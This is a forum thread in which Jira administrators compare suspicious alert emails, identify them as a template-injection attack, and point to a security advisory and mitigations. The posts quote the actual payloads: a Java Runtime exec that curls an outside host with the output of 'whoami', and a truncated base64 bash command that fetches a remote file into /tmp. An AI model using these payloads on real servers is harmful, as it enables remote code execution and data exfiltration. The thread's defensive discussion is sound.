JIRA Admin Alert - $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke

[Mike Markellos]

I received this alert twice within a 2 hour period.  Has anybody else received an error like this?  

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://32te8o.ceye.io/`whoami`').waitFor()

[joykevin0110 · Accepted solution]

I received same alert.
I think, code injection attack.
Don't connect the 'http://32te8o.ceye.io' url.

[Mike Markellos]

Thanks - it does look suspicious.  Doesn't look like many other have seen this attack yet?

[joykevin0110]

https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html

I think, this problem is same the link.
we need a patch the jira-software.

[Vincent Clerc]

Same attack received on our side

[Reto Kämpfer]

I see a very similar attack on our server. Is there any way to block theses messages?

The Subject of the message begins like this:

[JIRA] $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('bash -c {echo,KGN1cmwgLWZzU0wgLW0xODAgaHR0cDovL3AuNjQ2NTczNzQ3Mjc1NjM3NDY5NmY2ZS5pY3U6ODA4MC9qaXJhXzEgLW8gL3RtcC9jcm9ufHx3Z2V0IC1xIC1UMTgwIGh0dHA6...

[Udhaya Prakash]

Its a template injection attack, where the freemarker template from contact admin fields are placed unsafely in the email template. So whoever received it, there serves already comprised by executing the exec() function and get a call back to the attacker server. to mitigate thses, disable the contact admin page in your system setting is jira admin and update it if possible